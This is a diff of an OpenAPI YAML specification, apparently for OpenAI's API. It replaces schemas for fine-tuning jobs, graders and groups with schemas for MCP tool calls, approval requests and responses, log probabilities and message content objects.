- trained_tokens:
- anyOf:
- - type: integer
- description: The total number of billable tokens processed by this fine-tuning job. The value will be null if the fine-tuning job is still running.
- - type: 'null'
- training_file:
+ description: |
+ The unique ID of the local shell tool call generated by the model.
+ output:
type: string
- description: The file ID used for training. You can retrieve the training data with the [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
- validation_file:
+ description: |
+ A JSON string of the output of the local shell tool call.
+ status:
anyOf:
- type: string
- description: The file ID used for validation. You can retrieve the validation results with the [Files API](https://developers.openai.com/api/reference/resources/files/methods/content).
- - type: 'null'
- integrations:
- anyOf:
- - type: array
- description: A list of integrations to enable for this fine-tuning job.
- maxItems: 5
- items:
- anyOf:
- - $ref: '#/components/schemas/FineTuningIntegration'
- discriminator:
- propertyName: type
- - type: 'null'
- seed:
- type: integer
- description: The seed used for the fine-tuning job.
- estimated_finish:
- anyOf:
- - type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the fine-tuning job is estimated to finish. The value will be null if the fine-tuning job is not running.
+ enum:
+ - in_progress
+ - completed
+ - incomplete
+ description: |
+ The status of the item. One of `in_progress`, `completed`, or `incomplete`.
- type: 'null'
- method:
- $ref: '#/components/schemas/FineTuneMethod'
- metadata:
- $ref: '#/components/schemas/Metadata'
required:
- - created_at
- - error
- - finished_at
- - fine_tuned_model
- - hyperparameters
- id
- - model
- - object
- - organization_id
- - result_files
- - status
- - trained_tokens
- - training_file
- - validation_file
- - seed
- x-oaiMeta:
- name: The fine-tuning job object
- example: |
- {
- "object": "fine_tuning.job",
- "id": "ftjob-abc123",
- "model": "davinci-002",
- "created_at": 1692661014,
- "finished_at": 1692661190,
- "fine_tuned_model": "ft:davinci-002:my-org:custom_suffix:7q8mpxmy",
- "organization_id": "org-123",
- "result_files": [
- "file-abc123"
- ],
- "status": "succeeded",
- "validation_file": null,
- "training_file": "file-abc123",
- "hyperparameters": {
- "n_epochs": 4,
- "batch_size": 1,
- "learning_rate_multiplier": 1.0
- },
- "trained_tokens": 5768,
- "integrations": [],
- "seed": 0,
- "estimated_finish": 0,
- "method": {
- "type": "supervised",
- "supervised": {
- "hyperparameters": {
- "n_epochs": 4,
- "batch_size": 1,
- "learning_rate_multiplier": 1.0
- }
- }
- },
- "metadata": {
- "key": "value"
- }
- }
- FineTuningJobCheckpoint:
+ - type
+ - call_id
+ - output
+ LogProbProperties:
type: object
- title: FineTuningJobCheckpoint
description: |
- The `fine_tuning.job.checkpoint` object represents a model checkpoint for a fine-tuning job that is ready to use.
+ A log probability object.
properties:
- id:
- type: string
- description: The checkpoint identifier, which can be referenced in the API endpoints.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the checkpoint was created.
- fine_tuned_model_checkpoint:
- type: string
- description: The name of the fine-tuned checkpoint model that is created.
- step_number:
- type: integer
- description: The step number that the checkpoint was created at.
- metrics:
- type: object
- description: Metrics at the step number during the fine-tuning job.
- properties:
- step:
- type: number
- train_loss:
- type: number
- train_mean_token_accuracy:
- type: number
- valid_loss:
- type: number
- valid_mean_token_accuracy:
- type: number
- full_valid_loss:
- type: number
- full_valid_mean_token_accuracy:
- type: number
- fine_tuning_job_id:
+ token:
type: string
- description: The name of the fine-tuning job that this checkpoint was created from.
- object:
+ description: |
+ The token that was used to generate the log probability.
+ logprob:
+ type: number
+ description: |
+ The log probability of the token.
+ bytes:
+ type: array
+ items:
+ type: integer
+ description: |
+ The bytes that were used to generate the log probability.
+ required:
+ - token
+ - logprob
+ - bytes
+ MCPApprovalRequest:
+ type: object
+ title: MCP approval request
+ description: |
+ A request for human approval of a tool invocation.
+ properties:
+ type:
type: string
- description: The object type, which is always "fine_tuning.job.checkpoint".
enum:
- - fine_tuning.job.checkpoint
+ - mcp_approval_request
+ description: |
+ The type of the item. Always `mcp_approval_request`.
x-stainless-const: true
+ id:
+ type: string
+ description: |
+ The unique ID of the approval request.
+ server_label:
+ type: string
+ description: |
+ The label of the MCP server making the request.
+ name:
+ type: string
+ description: |
+ The name of the tool to run.
+ arguments:
+ type: string
+ description: |
+ A JSON string of arguments for the tool.
required:
- - created_at
- - fine_tuning_job_id
- - fine_tuned_model_checkpoint
+ - type
- id
- - metrics
- - object
- - step_number
- x-oaiMeta:
- name: The fine-tuning job checkpoint object
- example: |
- {
- "object": "fine_tuning.job.checkpoint",
- "id": "ftckpt_qtZ5Gyk4BLq1SfLFWp3RtO3P",
- "created_at": 1712211699,
- "fine_tuned_model_checkpoint": "ft:gpt-4o-mini-2024-07-18:my-org:custom_suffix:9ABel2dg:ckpt-step-88",
- "fine_tuning_job_id": "ftjob-fpbNQ3H1GrMehXRf8cO97xTN",
- "metrics": {
- "step": 88,
- "train_loss": 0.478,
- "train_mean_token_accuracy": 0.924,
- "valid_loss": 10.112,
- "valid_mean_token_accuracy": 0.145,
- "full_valid_loss": 0.567,
- "full_valid_mean_token_accuracy": 0.944
- },
- "step_number": 88
- }
- FineTuningJobEvent:
+ - server_label
+ - name
+ - arguments
+ MCPApprovalResponse:
type: object
- description: Fine-tuning job event object
+ title: MCP approval response
+ description: |
+ A response to an MCP approval request.
properties:
- object:
+ type:
type: string
- description: The object type, which is always "fine_tuning.job.event".
enum:
- - fine_tuning.job.event
+ - mcp_approval_response
+ description: |
+ The type of the item. Always `mcp_approval_response`.
x-stainless-const: true
id:
+ anyOf:
+ - type: string
+ description: |
+ The unique ID of the approval response
+ - type: 'null'
+ approval_request_id:
type: string
- description: The object identifier.
- created_at:
- type: integer
- format: unixtime
- description: The Unix timestamp (in seconds) for when the fine-tuning job was created.
- level:
+ description: |
+ The ID of the approval request being answered.
+ approve:
+ type: boolean
+ description: |
+ Whether the request was approved.
+ reason:
+ anyOf:
+ - type: string
+ description: |
+ Optional reason for the decision.
+ - type: 'null'
+ required:
+ - type
+ - request_id
+ - approve
+ - approval_request_id
+ MCPApprovalResponseResource:
+ type: object
+ title: MCP approval response
+ description: |
+ A response to an MCP approval request.
+ properties:
+ type:
type: string
- description: The log level of the event.
enum:
- - info
- - warn
- - error
- message:
+ - mcp_approval_response
+ description: |
+ The type of the item. Always `mcp_approval_response`.
+ x-stainless-const: true
+ id:
type: string
- description: The message of the event.
+ description: |
+ The unique ID of the approval response
+ approval_request_id:
+ type: string
+ description: |
+ The ID of the approval request being answered.
+ approve:
+ type: boolean
+ description: |
+ Whether the request was approved.
+ reason:
+ anyOf:
+ - type: string
+ description: |
+ Optional reason for the decision.
+ - type: 'null'
+ required:
+ - type
+ - id
+ - request_id
+ - approve
+ - approval_request_id
+ MCPListTools:
+ type: object
+ title: MCP list tools
+ description: |
+ A list of tools available on an MCP server.
+ properties:
type:
type: string
- description: The type of event.
enum:
- - message
- - metrics
- data:
- type: object
- description: The data associated with the event.
+ - mcp_list_tools
+ description: |
+ The type of the item. Always `mcp_list_tools`.
+ x-stainless-const: true
+ id:
+ type: string
+ description: |
+ The unique ID of the list.
+ server_label:
+ type: string
+ description: |
+ The label of the MCP server.
+ tools:
+ type: array
+ items:
+ $ref: '#/components/schemas/MCPListToolsTool'
+ description: |
+ The tools available on the server.
+ error:
+ anyOf:
+ - type: string
+ description: |
+ Error message if the server could not list tools.
+ - type: 'null'
required:
+ - type
- id
- - object
- - created_at
- - level
- - message
- x-oaiMeta:
- name: The fine-tuning job event object
- example: |
- {
- "object": "fine_tuning.job.event",
- "id": "ftevent-abc123"
- "created_at": 1677610602,
- "level": "info",
- "message": "Created fine-tuning job",
- "data": {},
- "type": "message"
- }
- FunctionAndCustomToolCallOutput:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/InputTextContent'
- - $ref: '#/components/schemas/InputImageContent'
- - $ref: '#/components/schemas/InputFileContent'
- FunctionObject:
+ - server_label
+ - tools
+ MCPListToolsTool:
type: object
+ title: MCP list tools tool
+ description: |
+ A tool available on an MCP server.
properties:
- description:
- type: string
- description: A description of what the function does, used by the model to choose when and how to call the function.
name:
type: string
- description: The name of the function to be called. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 64.
- parameters:
- $ref: '#/components/schemas/FunctionParameters'
- strict:
+ description: |
+ The name of the tool.
+ description:
anyOf:
- - type: boolean
- default: false
- description: Whether to enable strict schema adherence when generating the function call. If set to true, the model will follow the exact schema defined in the `parameters` field. Only a subset of JSON Schema is supported when `strict` is `true`. Learn more about Structured Outputs in the [function calling guide](https://developers.openai.com/api/docs/guides/function-calling).
+ - type: string
+ description: |
+ The description of the tool.
+ - type: 'null'
+ input_schema:
+ type: object
+ description: |
+ The JSON schema describing the tool's input.
+ annotations:
+ anyOf:
+ - type: object
+ description: |
+ Additional annotations about the tool.
- type: 'null'
required:
- name
- FunctionParameters:
- type: object
- description: |-
- The parameters the functions accepts, described as a JSON Schema object. See the [guide](https://developers.openai.com/api/docs/guides/function-calling) for examples, and the [JSON Schema reference](https://json-schema.org/understanding-json-schema/) for documentation about the format.
-
- Omitting `parameters` defines a function with an empty parameter list.
- additionalProperties: true
- FunctionToolCall:
+ - input_schema
+ MCPTool:
type: object
- title: Function tool call
+ title: MCP tool
description: |
- A tool call to run a function. See the
- [function calling guide](https://developers.openai.com/api/docs/guides/function-calling) for more information.
+ Give the model access to additional tools via remote Model Context Protocol
+ (MCP) servers. [Learn more about MCP](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
properties:
- id:
+ type:
+ type: string
+ enum:
+ - mcp
+ description: The type of the MCP tool. Always `mcp`.
+ x-stainless-const: true
+ server_label:
type: string
description: |
- The unique ID of the function tool call.
- type:
+ A label for this MCP server, used to identify it in tool calls.
+ server_url:
+ type: string
+ format: uri
+ description: |
+ The URL for the MCP server. One of `server_url`, `connector_id`, or
+ `tunnel_id` must be provided.
+ connector_id:
type: string
enum:
- - function_call
+ - connector_dropbox
+ - connector_gmail
+ - connector_googlecalendar
+ - connector_googledrive
+ - connector_microsoftteams
+ - connector_outlookcalendar
+ - connector_outlookemail
+ - connector_sharepoint
description: |
- The type of the function tool call. Always `function_call`.
- x-stainless-const: true
- call_id:
+ Identifier for service connectors, like those available in ChatGPT. One of
+ `server_url`, `connector_id`, or `tunnel_id` must be provided. Learn more
+ about service connectors [here](https://developers.openai.com/api/docs/guides/tools-connectors-mcp#connectors).
+
+ Currently supported `connector_id` values are:
+
+ - Dropbox: `connector_dropbox`
+ - Gmail: `connector_gmail`
+ - Google Calendar: `connector_googlecalendar`
+ - Google Drive: `connector_googledrive`
+ - Microsoft Teams: `connector_microsoftteams`
+ - Outlook Calendar: `connector_outlookcalendar`
+ - Outlook Email: `connector_outlookemail`
+ - SharePoint: `connector_sharepoint`
+ tunnel_id:
+ type: string
+ pattern: ^tunnel_[a-z0-9]{32}$
+ description: |
+ The Secure MCP Tunnel ID to use instead of a direct server URL. One of
+ `server_url`, `connector_id`, or `tunnel_id` must be provided.
+ authorization:
type: string
description: |
- The unique ID of the function tool call generated by the model.
- caller:
+ An OAuth access token that can be used with a remote MCP server, either
+ with a custom MCP server URL or a service connector. Your application
+ must handle the OAuth authorization flow and provide the token here.
+ server_description:
+ type: string
+ description: |
+ Optional description of the MCP server, used to provide more context.
+ headers:
anyOf:
- - $ref: '#/components/schemas/ToolCallCaller'
+ - type: object
+ additionalProperties:
+ type: string
+ description: |
+ Optional HTTP headers to send to the MCP server. Use for authentication
+ or other purposes.
- type: 'null'
- namespace:
+ allowed_tools:
+ anyOf:
+ - description: |
+ List of allowed tool names or a filter object.
+ anyOf:
+ - type: array
+ title: MCP allowed tools
+ description: A string array of allowed tool names
+ items:
+ type: string
+ - $ref: '#/components/schemas/MCPToolFilter'
+ - type: 'null'
+ allowed_callers:
+ anyOf:
+ - type: array
+ minItems: 1
+ items:
+ $ref: '#/components/schemas/CallableToolAllowedCaller'
+ description: The tool invocation context(s).
+ - type: 'null'
+ require_approval:
+ anyOf:
+ - description: Specify which of the MCP server's tools require approval.
+ default: always
+ anyOf:
+ - type: object
+ title: MCP tool approval filter
+ description: |
+ Specify which of the MCP server's tools require approval. Can be
+ `always`, `never`, or a filter object associated with tools
+ that require approval.
+ properties:
+ always:
+ $ref: '#/components/schemas/MCPToolFilter'
+ never:
+ $ref: '#/components/schemas/MCPToolFilter'
+ additionalProperties: false
+ - type: string
+ title: MCP tool approval setting
+ description: |
+ Specify a single approval policy for all tools. One of `always` or
+ `never`. When set to `always`, all tools will require approval. When
+ set to `never`, all tools will not require approval.
+ enum:
+ - always
+ - never
+ - type: 'null'
+ defer_loading:
+ type: boolean
+ description: |
+ Whether this MCP tool is deferred and discovered via tool search.
+ required:
+ - type
+ - server_label
+ MCPToolCall:
+ type: object
+ title: MCP tool call
+ description: |
+ An invocation of a tool on an MCP server.
+ properties:
+ type:
type: string
+ enum:
+ - mcp_call
description: |
- The namespace of the function to run.
+ The type of the item. Always `mcp_call`.
+ x-stainless-const: true
+ id:
+ type: string
+ description: |
+ The unique ID of the tool call.
+ server_label:
+ type: string
+ description: |
+ The label of the MCP server running the tool.
name:
type: string
description: |
- The name of the function to run.
+ The name of the tool that was run.
arguments:
type: string
description: |
- A JSON string of the arguments to pass to the function.
+ A JSON string of the arguments passed to the tool.
+ output:
+ anyOf:
+ - type: string
+ description: |
+ The output from the tool call.
+ - type: 'null'
+ error:
+ description: The error from the tool call, if any.
+ anyOf:
+ - $ref: '#/components/schemas/MCPToolCallError'
+ - type: 'null'
status:
- type: string
- description: |
- The status of the item. One of `in_progress`, `completed`, or
- `incomplete`. Populated when items are returned via API.
- enum:
- - in_progress
- - completed
- - incomplete
- async:
- type: boolean
+ $ref: '#/components/schemas/MCPToolCallStatus'
description: |
- Whether the function tool call runs asynchronously.
+ The status of the tool call. One of `in_progress`, `completed`, `incomplete`, `calling`, or `failed`.
+ approval_request_id:
+ anyOf:
+ - type: string
+ description: |
+ Unique identifier for the MCP tool call approval request.
+ Include this value in a subsequent `mcp_approval_response` input to approve or reject the corresponding tool call.
+ - type: 'null'
required:
- type
- - call_id
+ - id
+ - server_label
- name
- arguments
- FunctionToolCallOutput:
+ MCPToolCallError:
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/MCPProtocolError'
+ - $ref: '#/components/schemas/MCPToolExecutionError'
+ - $ref: '#/components/schemas/HTTPError'
+ MCPToolFilter:
+ type: object
+ title: MCP tool filter
+ description: |
+ A filter object to specify which tools are allowed.
+ properties:
+ tool_names:
+ type: array
+ title: MCP allowed tools
+ items:
+ type: string
+ description: List of allowed tool names.
+ read_only:
+ type: boolean
+ description: |
+ Indicates whether or not a tool modifies data or is read-only. If an
+ MCP server is [annotated with `readOnlyHint`](https://modelcontextprotocol.io/specification/2025-06-18/schema#toolannotations-readonlyhint),
+ it will match this filter.
+ required: []
+ additionalProperties: false
+ MessageContentImageFileObject:
+ title: Image file
+ type: object
+ description: References an image [File](https://developers.openai.com/api/reference/resources/files) in the content of a message.
+ properties:
+ type:
+ description: Always `image_file`.
+ type: string
+ enum:
+ - image_file
+ x-stainless-const: true
+ image_file:
+ type: object
+ properties:
+ file_id:
+ description: The [File](https://developers.openai.com/api/reference/resources/files) ID of the image in the message content. Set `purpose="vision"` when uploading the File if you need to later display the file content.
+ type: string
+ detail:
+ type: string
+ description: Specifies the detail level of the image if specified by the user. `low` uses fewer tokens, you can opt in to high resolution using `high`.
+ enum:
+ - auto
+ - low
+ - high
+ default: auto
+ required:
+ - file_id
+ required:
+ - type
+ - image_file
+ MessageContentImageUrlObject:
+ title: Image URL
+ type: object
+ description: References an image URL in the content of a message.
+ properties:
+ type:
+ type: string
+ enum:
+ - image_url
+ description: The type of the content part.
+ x-stainless-const: true
+ image_url:
+ type: object
+ properties:
+ url:
+ type: string
+ description: 'The external URL of the image, must be a supported image types: jpeg, jpg, png, gif, webp.'
+ format: uri
+ detail:
+ type: string
+ description: Specifies the detail level of the image. `low` uses fewer tokens, you can opt in to high resolution using `high`. Default value is `auto`
+ enum:
+ - auto
+ - low
+ - high
+ default: auto
+ required:
+ - url
+ required:
+ - type
+ - image_url
+ MessageContentRefusalObject:
+ title: Refusal
type: object
- title: Function tool call output
- description: |
- The output of a function tool call.
+ description: The refusal content generated by the assistant.
properties:
- id:
- type: string
- description: |
- The unique ID of the function tool call output. Populated when this item
- is returned via API.
type:
+ description: Always `refusal`.
type: string
enum:
- - function_call_output
- description: |
- The type of the function tool call output. Always `function_call_output`.
+ - refusal
x-stainless-const: true
- call_id:
- type: string
- description: |
- The unique ID of the function tool call generated by the model.
- name:
- type: string
- description: |
- The name of the tool that produced the output.
- namespace:
- type: string
- description: |
- The namespace of the tool that produced the output.
- caller:
- anyOf:
- - $ref: '#/components/schemas/ToolCallCallerParam'
- - type: 'null'
- output:
- description: |
- The output from the function call generated by your code.
- Can be a string or an list of output content.
- anyOf:
- - type: string
- description: |
- A string of the output of the function call.
- title: string output
- - type: array
- items:
- $ref: '#/components/schemas/FunctionAndCustomToolCallOutput'
- title: output content list
- description: |
- Text, image, or file output of the function call.
- status:
+ refusal:
type: string
- description: |
- The status of the item. One of `in_progress`, `completed`, or
- `incomplete`. Populated when items are returned via API.
- enum:
- - in_progress
- - completed
- - incomplete
required:
- type
- - output
- FunctionToolCallOutputResource:
- allOf:
- - $ref: '#/components/schemas/FunctionToolCallOutput'
- - type: object
- properties:
- id:
- type: string
- description: |
- The unique ID of the function call tool output.
- status:
- description: |
- The status of the item. One of `in_progress`, `completed`, or
- `incomplete`. Populated when items are returned via API.
- $ref: '#/components/schemas/FunctionCallOutputStatusEnum'
- created_by:
- type: string
- description: |
- The identifier of the actor that created the item.
- required:
- - id
- - status
- FunctionToolCallResource:
- allOf:
- - $ref: '#/components/schemas/FunctionToolCall'
- - type: object
- properties:
- id:
- type: string
- description: |
- The unique ID of the function tool call.
- status:
- description: |
- The status of the item. One of `in_progress`, `completed`, or
- `incomplete`. Populated when items are returned via API.
- $ref: '#/components/schemas/FunctionCallStatus'
- created_by:
- type: string
- description: |
- The identifier of the actor that created the item.
- required:
- - id
- - status
- GraderLabelModel:
+ - refusal
+ MessageContentTextAnnotationsFileCitationObject:
+ title: File citation
type: object
- title: LabelModelGrader
- description: |
- A LabelModelGrader object which uses a model to assign labels to each item
- in the evaluation.
+ description: A citation within the message that points to a specific quote from a specific File associated with the assistant or the message. Generated when the assistant uses the "file_search" tool to search files.
properties:
type:
- description: The object type, which is always `label_model`.
+ description: Always `file_citation`.
type: string
enum:
- - label_model
+ - file_citation
x-stainless-const: true
- name:
- type: string
- description: The name of the grader.
- model:
+ text:
+ description: The text in the message content that needs to be replaced.
type: string
- description: The model to use for the evaluation. Must support structured outputs.
- input:
- type: array
- items:
- $ref: '#/components/schemas/EvalItem'
- labels:
- type: array
- items:
- type: string
- description: The labels to assign to each item in the evaluation.
- passing_labels:
- type: array
- items:
- type: string
- description: The labels that indicate a passing result. Must be a subset of labels.
+ file_citation:
+ type: object
+ properties:
+ file_id:
+ description: The ID of the specific File the citation is from.
+ type: string
+ required:
+ - file_id
+ start_index:
+ type: integer
+ minimum: 0
+ end_index:
+ type: integer
+ minimum: 0
required:
- type
- - model
- - input
- - passing_labels
- - labels
- - name
- x-oaiMeta:
- name: Label Model Grader
- group: graders
- example: |
- {
- "name": "First label grader",
- "type": "label_model",
- "model": "gpt-4o-2024-08-06",
- "input": [
- {
- "type": "message",
- "role": "system",
- "content": {
- "type": "input_text",
- "text": "Classify the sentiment of the following statement as one of positive, neutral, or negative"
- }
- },
- {
- "type": "message",
- "role": "user",
- "content": {
- "type": "input_text",
- "text": "Statement: {{item.response}}"
- }
- }
- ],
- "passing_labels": [
- "positive"
- ],
- "labels": [
- "positive",
- "neutral",
- "negative"
- ]
- }
- GraderMulti:
+ - text
+ - file_citation
+ - start_index
+ - end_index
+ MessageContentTextAnnotationsFilePathObject:
+ title: File path
type: object
- title: MultiGrader
- description: A MultiGrader object combines the output of multiple graders to produce a single score.
+ description: A URL for the file that's generated when the assistant used the `code_interpreter` tool to generate a file.
properties:
type:
+ description: Always `file_path`.
type: string
enum:
- - multi
- default: multi
- description: The object type, which is always `multi`.
+ - file_path
x-stainless-const: true
- name:
- type: string
- description: The name of the grader.
- graders:
- anyOf:
- - $ref: '#/components/schemas/GraderStringCheck'
- - $ref: '#/components/schemas/GraderTextSimilarity'
- - $ref: '#/components/schemas/GraderPython'
- - $ref: '#/components/schemas/GraderScoreModel'
- - $ref: '#/components/schemas/GraderLabelModel'
- calculate_output:
+ text:
+ description: The text in the message content that needs to be replaced.
type: string
- description: A formula to calculate the output based on grader results.
+ file_path:
+ type: object
+ properties:
+ file_id:
+ description: The ID of the file that was generated.
+ type: string
+ required:
+ - file_id
+ start_index:
+ type: integer
+ minimum: 0
+ end_index:
+ type: integer
+ minimum: 0
required:
- - name
- type
- - graders
- - calculate_output
- x-oaiMeta:
- name: Multi Grader
- group: graders
- example: |
- {
- "type": "multi",
- "name": "example multi grader",
- "graders": [
- {
- "type": "text_similarity",
- "name": "example text similarity grader",
- "input": "The graded text",
- "reference": "The reference text",
- "evaluation_metric": "fuzzy_match"
- },
- {
- "type": "string_check",
- "name": "Example string check grader",
- "input": "{{sample.output_text}}",
- "reference": "{{item.label}}",
- "operation": "eq"
- }
- ],
- "calculate_output": "0.5 * text_similarity_score + 0.5 * string_check_score)"
- }
- GraderPython:
+ - text
+ - file_path
+ - start_index
+ - end_index
+ MessageContentTextObject:
+ title: Text
type: object
- title: PythonGrader
- description: |
- A PythonGrader object that runs a python script on the input.
+ description: The text content that is part of a message.
properties:
type:
+ description: Always `text`.
type: string
enum:
- - python
- description: The object type, which is always `python`.
+ - text
x-stainless-const: true
- name:
- type: string
- description: The name of the grader.
- source:
- type: string
- description: The source code of the python script.
- image_tag:
- type: string
- description: The image tag to use for the python script.
+ text:
+ type: object
+ properties:
+ value:
+ description: The data that makes up the text.
+ type: string
+ annotations:
+ type: array
+ items:
+ $ref: '#/components/schemas/TextAnnotation'
+ required:
+ - value
+ - annotations
required:
- type
- - name
- - source
- x-oaiMeta:
- name: Python Grader
- group: graders
- example: |
- {
- "type": "python",
- "name": "Example python grader",
- "image_tag": "2025-05-08",
- "source": """
- def grade(sample: dict, item: dict) -> float:
- \"""
- Returns 1.0 if `output_text` equals `label`, otherwise 0.0.
- \"""
- output = sample.get("output_text")
- label = item.get("label")
- return 1.0 if output == label else 0.0
- """,
- }
- GraderScoreModel:
+ - text
+ MessageDeltaContentImageFileObject:
+ title: Image file
type: object
- title: ScoreModelGrader
- description: |
- A ScoreModelGrader object that uses a model to assign a score to the input.
+ description: References an image [File](https://developers.openai.com/api/reference/resources/files) in the content of a message.
properties:
+ index:
+ type: integer
+ description: The index of the content part in the message.
type:
+ description: Always `image_file`.
type: string
enum:
- - score_model
- description: The object type, which is always `score_model`.
+ - image_file
x-stainless-const: true
- name:
- type: string
- description: The name of the grader.
- model:
- type: string
- description: The model to use for the evaluation.
- sampling_params:
+ image_file:
type: object
- description: The sampling parameters for the model.
properties:
- seed:
- anyOf:
- - type: integer
- description: |
- A seed value to initialize the randomness, during sampling.
- - type: 'null'
- top_p:
- anyOf:
- - type: number
- default: 1
- example: 1
- description: |
- An alternative to temperature for nucleus sampling; 1.0 includes all tokens.
- - type: 'null'
- temperature:
- anyOf:
- - type: number
- description: |
- A higher temperature increases randomness in the outputs.
- - type: 'null'
- max_completions_tokens:
- anyOf:
- - type: integer
- minimum: 1
- description: |
- The maximum number of tokens the grader model may generate in its response.
- - type: 'null'
- reasoning_effort:
- $ref: '#/components/schemas/ReasoningEffort'
- input:
- type: array
- items:
- $ref: '#/components/schemas/EvalItem'
- description: |
- The input messages evaluated by the grader. Supports text, output text, input image, and input audio content blocks, and may include template strings.
- range:
- type: array
- items:
- type: number
- min_items: 2
- max_items: 2
- description: The range of the score. Defaults to `[0, 1]`.
+ file_id:
+ description: The [File](https://developers.openai.com/api/reference/resources/files) ID of the image in the message content. Set `purpose="vision"` when uploading the File if you need to later display the file content.
+ type: string
+ detail:
+ type: string
+ description: Specifies the detail level of the image if specified by the user. `low` uses fewer tokens, you can opt in to high resolution using `high`.
+ enum:
+ - auto
+ - low
+ - high
+ default: auto
required:
+ - index
- type
- - name
- - input
- - model
- x-oaiMeta:
- name: Score Model Grader
- group: graders
- example: |
- {
- "type": "score_model",
- "name": "Example score model grader",
- "input": [
- {
- "role": "user",
- "content": [
- {
- "type": "input_text",
- "text": (
- "Score how close the reference answer is to the model answer. Score 1.0 if they are the same and 0.0 if they are different."
- " Return just a floating point score\n\n"
- " Reference answer: {{item.label}}\n\n"
- " Model answer: {{sample.output_text}}"
- )
- },
- {
- "type": "input_image",
- "image_url": "https://example.com/reference.png",
- "file_id": null,
- "detail": "auto"
- }
- ],
- }
- ],
- "model": "gpt-5-mini",
- "sampling_params": {
- "temperature": 1,
- "top_p": 1,
- "seed": 42,
- "max_completions_tokens": 32768,
- "reasoning_effort": "medium"
- },
- }
- GraderStringCheck:
+ MessageDeltaContentImageUrlObject:
+ title: Image URL
type: object
- title: StringCheckGrader
- description: |
- A StringCheckGrader object that performs a string comparison between input and reference using a specified operation.
+ description: References an image URL in the content of a message.
properties:
+ index:
+ type: integer
+ description: The index of the content part in the message.
type:
+ description: Always `image_url`.
type: string
enum:
- - string_check
- description: The object type, which is always `string_check`.
+ - image_url
x-stainless-const: true
- name:
- type: string
- description: The name of the grader.
- input:
- type: string
- description: The input text. This may include template strings.
- reference:
- type: string
- description: The reference text. This may include template strings.
- operation:
+ image_url:
+ type: object
+ properties:
+ url:
+ description: 'The URL of the image, must be a supported image types: jpeg, jpg, png, gif, webp.'
+ type: string
+ format: uri
+ detail:
+ type: string
+ description: Specifies the detail level of the image. `low` uses fewer tokens, you can opt in to high resolution using `high`.
+ enum:
+ - auto
+ - low
+ - high
+ default: auto
+ required:
+ - index
+ - type
+ MessageDeltaContentRefusalObject:
+ title: Refusal
+ type: object
+ description: The refusal content that is part of a message.
+ properties:
+ index:
+ type: integer
+ description: The index of the refusal part in the message.
+ type:
+ description: Always `refusal`.
type: string
enum:
- - eq
- - ne
- - like
- - ilike
- description: The string check operation to perform. One of `eq`, `ne`, `like`, or `ilike`.
+ - refusal
+ x-stainless-const: true
+ refusal:
+ type: string
required:
- - type
- - name
- - input
- - reference
- - operation
- x-oaiMeta:
- name: String Check Grader
- group: graders
- example: |
- {
- "type": "string_check",
- "name": "Example string check grader",
- "input": "{{sample.output_text}}",
- "reference": "{{item.label}}",
- "operation": "eq"
- }
- GraderTextSimilarity:
+ - index
+ - type
+ MessageDeltaContentTextAnnotationsFileCitationObject:
+ title: File citation
type: object
- title: TextSimilarityGrader
- description: |
- A TextSimilarityGrader object which grades text based on similarity metrics.
+ description: A citation within the message that points to a specific quote from a specific File associated with the assistant or the message. Generated when the assistant uses the "file_search" tool to search files.
properties:
+ index:
+ type: integer
+ description: The index of the annotation in the text content part.
type:
+ description: Always `file_citation`.
type: string
enum:
- - text_similarity
- default: text_similarity
- description: The type of grader.
+ - file_citation
x-stainless-const: true
- name:
- type: string
- description: The name of the grader.
- input:
- type: string
- description: The text being graded.
- reference:
- type: string
- description: The text being graded against.
- evaluation_metric:
+ text:
+ description: The text in the message content that needs to be replaced.
type: string
- enum:
- - cosine
- - fuzzy_match
- - bleu
- - gleu
- - meteor
- - rouge_1
- - rouge_2
- - rouge_3
- - rouge_4
- - rouge_5
- - rouge_l
- description: "The evaluation metric to use. One of `cosine`, `fuzzy_match`, `bleu`, \n`gleu`, `meteor`, `rouge_1`, `rouge_2`, `rouge_3`, `rouge_4`, `rouge_5`, \nor `rouge_l`.\n"
+ file_citation:
+ type: object
+ properties:
+ file_id:
+ description: The ID of the specific File the citation is from.
+ type: string
+ quote:
+ description: The specific quote in the file.
+ type: string
+ start_index:
+ type: integer
+ minimum: 0
+ end_index:
+ type: integer
+ minimum: 0
required:
+ - index
- type
- - name
- - input
- - reference
- - evaluation_metric
- x-oaiMeta:
- name: Text Similarity Grader
- group: graders
- example: |
- {
- "type": "text_similarity",
- "name": "Example text similarity grader",
- "input": "{{sample.output_text}}",
- "reference": "{{item.label}}",
- "evaluation_metric": "fuzzy_match"
- }
- Group:
+ MessageDeltaContentTextAnnotationsFilePathObject:
+ title: File path
type: object
- description: Summary information about a group returned in role assignment responses.
+ description: A URL for the file that's generated when the assistant used the `code_interpreter` tool to generate a file.
properties:
- object:
+ index:
+ type: integer
+ description: The index of the annotation in the text content part.
+ type:
+ description: Always `file_path`.
type: string
enum:
- - group
- description: Always `group`.
+ - file_path
x-stainless-const: true
- id:
- type: string
- description: Identifier for the group.
- name:
+ text:
+ description: The text in the message content that needs to be replaced.
type: string
- description: Display name of the group.
- created_at:
+ file_path:
+ type: object
+ properties:
+ file_id:
+ description: The ID of the file that was generated.
+ type: string
+ start_index:
type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the group was created.
- scim_managed:
- type: boolean
- description: Whether the group is managed through SCIM.
+ minimum: 0
+ end_index:
+ type: integer
+ minimum: 0
required:
- - object
- - id
- - name
- - created_at
- - scim_managed
- x-oaiMeta:
- name: The group object
- example: |
- {
- "object": "group",
- "id": "group_01J1F8ABCDXYZ",
- "name": "Support Team",
- "created_at": 1711471533,
- "scim_managed": false
- }
- GroupDeletedResource:
+ - index
+ - type
+ MessageDeltaContentTextObject:
+ title: Text
type: object
- description: Confirmation payload returned after deleting a group.
+ description: The text content that is part of a message.
properties:
- object:
+ index:
+ type: integer
+ description: The index of the content part in the message.
+ type:
+ description: Always `text`.
type: string
enum:
- - group.deleted
- description: Always `group.deleted`.
+ - text
x-stainless-const: true
- id:
- type: string
- description: Identifier of the deleted group.
- deleted:
- type: boolean
- description: Whether the group was deleted.
+ text:
+ type: object
+ properties:
+ value:
+ description: The data that makes up the text.
+ type: string
+ annotations:
+ type: array
+ items:
